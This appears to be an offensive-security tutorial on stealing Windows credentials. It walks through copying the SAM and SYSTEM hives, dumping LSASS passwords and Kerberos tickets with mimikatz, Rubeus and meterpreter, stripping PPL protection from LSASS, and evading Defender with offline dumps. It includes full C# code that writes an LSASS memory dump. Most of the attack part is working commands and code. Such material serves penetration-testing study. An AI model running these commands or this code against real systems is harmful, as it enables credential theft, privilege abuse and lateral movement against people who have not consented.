SAM database
The Security Account Manager (SAM) database stores local credentials for Windows users as password hashes using the NTLM hashing format. NTLM hashes can be used to authenticate to different machines, as long as the hash is tied to a user account and password registered on the new machine.
It’s unlikely you’ll find matching local credentials applicable to users on different machines - but there is the default Administrator account that can be used for lateral movement. The Administrator account has been disabled by default since the release of Windows Vista. Nevertheless, we’ll discuss this technique in the event a system administrator is using the Administrator account.
We can invoke the following PowerShell to obtain the domain name of the local computer and details about the Administrator account:
$domain = $env:ComputerName
[wmi] "Win32_userAccount.Domain='$domain',Name='Administrator'"
The SAM database is stored at C:\Windows\System32\config\SAM
, however, the
SYSTEMprocess has an exclusive lock on the file - we can’t acquire a
HANDLE for it. To bypass this restriction, we can create a shadow copy
of the C:\
drive using wmic
in an administrative command prompt:
wmic shadowcopy call create volume='c:\'
Verify that the shadow copy was created by invoking:
vssadmin list shadows
And copy the SAM database and its encryption key, contained in the SYSTEM
file, by invoking:
cp "${SAM_SHADOW_COPY_PATH}\Windows\System32\config\SAM" ${DESTINATION}
cp "${SAM_SHADOW_COPY_PATH}\Windows\System32\config\SYSTEM" ${DESTINATION}
Alternatively, we can acquire the SAM database and the SYSTEM file from the registry:
reg save HKLM\SAM ${DESTINATION}
reg save HKLM\SYSTEM ${DESTINATION}
Tools like mimikatz and
creddump7 can be used to decrypt
the SAM database using the acquired SYSTEM file. We can also use a
meterpreter agent with administrative privileges to execute the hashdump
command, dumping the NTLM hashes of a target machine.
LAPS
Managing credentials for privileged users is hard, so Microsoft created the Local Administrator Password Solution (LAPS) to manage the local administrator password for domain-joined computers. Using the LAPSToolkit PowerShell script, we’re able to enumerate which users or groups have the authorization to read local administrator passwords for domain-joined computers.
Access tokens
Defining features
The Windows kernel issues users access tokens upon successful authentication. These access tokens authorize users to create processes at a certain integrity level with certain privileges.
What are integrity levels?
Windows defines four integrity levels:
- Low
- Medium
- High
- System Sandbox processes like web browsers run in a low integrity level. Applications spawned by a user run with a medium integrity level. High integrity level applications are spawned by administrators. The system integrity level is reserved for SYSTEM services.
A process of a lower integrity level cannot modify a process with a higher integrity level. Local administrators are issued two (2) tokens upon authentication, medium and high. When administrative users select “Run as administrator”, their high integrity level access token is used to invoke the process. This action usually prompts for User Account Control (UAC) consent from the administrator.
What are privileges?
Privileges are a set of access rights present within the token, defined by two (2) bitmasks. They govern what actions a process can perform. The first bitmask is immutable and describes the list of approved actions with the token. The second bitmask is mutable, and describes which privileges are enabled or disabled for the token. The state of the second bitmask can be updated with the Win32 API method AdjustTokenPrivileges.
We can inspect the current user’s privileges by invoking the following:
whoami /priv
We can also use the
LsaAddAccountRights
API to add a set of privileges for a user, which will be assigned to that user’s
access token next time they login. This can also be done by invoking the
secpol.msc
application.
Impersonation tokens
We can create impersonation tokens, allowing us to act on a user’s behalf without that user’s credentials. These tokens have four levels, as well:
- Anonymous
- Identification
- Impersonation
- Delegation
The anonymous and identification impersonation tokens only allow for enumeration of a user’s information. Impersonation allows us to impersonate the client’s identity and delegation makes it possible to perform sequential access control checks across multiple machines in the domain.
Kerberos
Kerberos has been Microsoft’s primary authentication system for Window Server since 2003. In contrast to NTLM’s challenge and response authentication mechanism, Kerberos uses a ticketing system. The following actions occur when a client requests access to an application within a domain using Kerberos:
- The Domain Controller (DC) serves as the Key Distribution Center (KDC)
- The client requests to authenticate to the KDC and the KDC replies with a
success or failure of this authentication:
- Authentication Server Request (AS_REQ)
- Timestamp encrypted using a hash derived from the user’s username and password
- Authentication Server Reply (AS_REP)
- Server conducts hash lookup to verify identity and decrypts the timestamp to check for a replay attack
- Server replies with a session key encrypted using the user’s password hash and a Ticket Granting Ticket (TGT). The TGT is encrypted by the server’s secret key to avoid tampering.
- The TGT contains the following information:
- User information including group memberships
- Domain name
- Timestamp
- Client IP address
- Session key
- Authentication Server Request (AS_REQ)
- The client sends a Ticket Granting Service request to the KDC after
successful authentication and receive a Ticket Granting Server reply
- Ticket Granting Service Request (TGS_REQ)
- Packet that consists of:
- Current user
- Timestamp encrypted using the session key
- Service Principal Name (SPN) of the resource
- TGT
- Packet that consists of:
- Ticket Granting Server Reply (TGS_REP)
- Server decrypts the TGT with its secret and validates the session key, timestamp, user identity, and SPN
- Replies with:
- SPN (encrypted with TGT session key)
- Session key to interact with the SPN (encypted with TGT session key)
- Service ticket containing username, group membership, and session key (encrypted with password hash of the service account owning the SPN)
- Ticket Granting Service Request (TGS_REQ)
- With a valid ticket, the client can now request to authenticate to the
application server and receives authorization to use the application server
after successful authentication
- Application Request (AP_REQ)
- Username, timestamp encrypted with the session key, and the service ticket
- Application Response (AP_RES)
- Service decrypts the service ticket using its password hash, extracts the session key, and decrypts the username
- If the usernames match, the request is accepted. Authorization is granted if the user’s group memberships match the group memberships specified in the service ticket
- Application Request (AP_REQ)
Stealing TGTs from memory
We can use toolkits like Rubeus to dump TGTs from memory when a user authenticates to Kerberos. We can invoke a monitor to dump TGTs live with the following:
Start-Process `
-FilePath "Rubeus.exe" `
-ArgumentList @(
"monitor",
"/interval:1"
)
Here’s a great guide on how to use the Base64 TGTs dumped by this toolkit.
Mimikatz
Mimikatz extracts cached credentials from memory, thanks to the way Kerberos needs to keep them cached for quick access and implementation of its protocol. Password hashes are cached in the Local Security Authority Subsystem Service (LSASS) memory space. If you got your hands on this cache and these hashes, given enough time, you could crack user passwords for the target domain.
LSASS is a service, so it runs as SYSTEM. We need a SYSTEM level process to
attack the cache. Windows Local Administrators maintain the
SeDebugPrivilege, enabling them to read and modify processes executed by
other users. In the mimikatz.exe
command line interface (CLI), we can invoke
the following to enable this privilege for the mimikatz
process and dump all
cached passwords:
C:\> mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
PPL protection
To defeat this information disclosure, Windows implemented another modifying
security level titled, “Protected Processes Light (PPL)”, preventing SYSTEM
level processes from accessing and modifying the memory of a process executing
at SYSTEM level with PPL enabled. LSASS supports PPL, but not by default. The
registry key to enable this feature is
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
.
Fun fact, PPL protection is controlled by a bit mask in kernel memory located in the EPROCESS object associated with the target process in user memory space. Mimikatz comes bundled with the mimidrv.sys driver, which can be loaded in the target’s system drivers to attack this security control.
Running as a Local Administrator or the SYSTEM user, we’ll have to maintain the SeLoadDriverPrivilege privilege and the ability to load signed drivers. With those two prerequisites, we can invoke the following to unprotect a target process:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
Processing creds offline
To avoid triggering Defender detections, as a Local Administrator we can use a
program like Task Manager to create a dump file of lsass.exe
’s process
memory. We can then exfil this data back home and process the dump with
mimikatz.exe
locally:
mimikatz # sekurlsa::minimdump lsass.dmp
We can also use ProcDump from the SysInternals suite to dump process memory from target processes.
Finally, here’s some C# .NET code that uses interoperability to dump process
memory from lsass.exe
- make sure to invoke this as a Local Administrator or
SYSTEM:
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace MiniDump;
class Program
{
[DllImport("dbghelp.dll")]
static extern bool MiniDumpWriteDump(
IntPtr hProcess,
int ProcessId,
IntPtr hFile,
int DumpType,
IntPtr ExceptionParam,
IntPtr UserStreamParam,
IntPtr CallbackParam
);
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
static void Main()
{
FileStream dumpFile = new(
"C:\\Windows\\tasks\\lsass.dmp",
FileMode.Create
);
Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
MiniDumpWriteDump(
handle,
lsass_pid,
dumpFile.SafeFileHandle.DangerousGetHandle(),
2,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
}
}
Acquiring tickets
In an administrative meterpreter session on a Windows target, we can attempt to dump all Kerberos tickets from memory to acquire TGTs by invoking the following:
meterpreter> kiwi_cmd "sekurlsa::tickets /export"
We can copy paste the Base64 dumps of these tickets to convert them to ccache files for use on our Kali machine with impacket by invoking the following:
base64 -d ${BASE64_TGT} > ${OUTFILE}.kirbi
python /usr/share/doc/python3-impacket/examples/ticketConverter.py ${OUTFILE}.kirbi ${OUTFILE}.ccache